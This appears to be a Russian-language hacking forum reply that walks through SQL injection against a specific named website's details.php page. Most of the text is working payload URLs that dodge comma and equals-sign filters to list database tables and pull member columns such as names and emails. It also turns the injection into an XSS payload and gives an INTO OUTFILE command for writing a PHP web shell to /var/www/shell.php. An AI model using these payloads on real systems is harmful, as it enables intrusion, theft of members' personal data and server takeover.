Сообщение от
qaz
и снова таже ошибка
Код:
http://www.bluegrassmidwest.com/details.php?id=-6'/**/union/**/select/**/*/**/from/**/(select/**/1)x/**/join/**/(select/**/version())y/**/join(select/**/table_name/**/from/**/information_schema.tables)z/**/join(select/**/database())a/**/join(select/**/5)b/**/join(select/**/6)c/**/join(select/**/7)d/**/join(select/**/8)e/**/join(select/**/9)f/**/join(select/**/10)g/**/join(select/**/11)h/*
Но мы не сможем юзать /**/limit/**/0
,1. Ведь там запятая, которая фильтруется.
Поэтому попробуем group_concat:
Код:
http://www.bluegrassmidwest.com/details.php?id=-6'/**/union/**/select/**/*/**/from/**/(select/**/1)x/**/join/**/(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/)y/**/join(select/**/5)z/**/join(select/**/4)a/**/join(select/**/5)b/**/join(select/**/6)c/**/join(select/**/7)d/**/join(select/**/8)e/**/join(select/**/9)f/**/join(select/**/10)g/**/join(select/**/11)h/*
Видим
members.
Еще один ньюанс. Оказывается, что фильтруется и "=". Т.e. where/**/table_name
='members' юзать невозможно. Но зато есть LIKE:
Код:
http://www.bluegrassmidwest.com/details.php?id=-6'/**/union/**/select/**/*/**/from/**/(select/**/1)x/**/join/**/(select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/'members')y/**/join(select/**/5)z/**/join(select/**/4)a/**/join(select/**/5)b/**/join(select/**/6)c/**/join(select/**/7)d/**/join(select/**/8)e/**/join(select/**/9)f/**/join(select/**/10)g/**/join(select/**/11)h/*
Код:
memberID,lname,fname,email
и т.д.
P.S. Можно еще в XSS превратить:
Код:
http://www.bluegrassmidwest.com/details.php?id=-6'/**/union/**/select/**/*/**/from/**/(select/**/1)x/**/join/**/(select/**/%3Cscript%3Ealert('Privet!')%3C/script%3E/**/from/**/members)y/**/join(select/**/5)z/**/join(select/**/4)a/**/join(select/**/5)b/**/join(select/**/6)c/**/join(select/**/7)d/**/join(select/**/8)e/**/join(select/**/9)f/**/join(select/**/10)g/**/join(select/**/11)h/*
2OxoTnik,
Код:
+union+select+1,2,'',4,5,6,7,8+into+outfile+'/var/www/shell.php'--
Папка доступна на запись? При выполнении error не выскакивает? Если да, то ищи другие папки. Проверь MQ.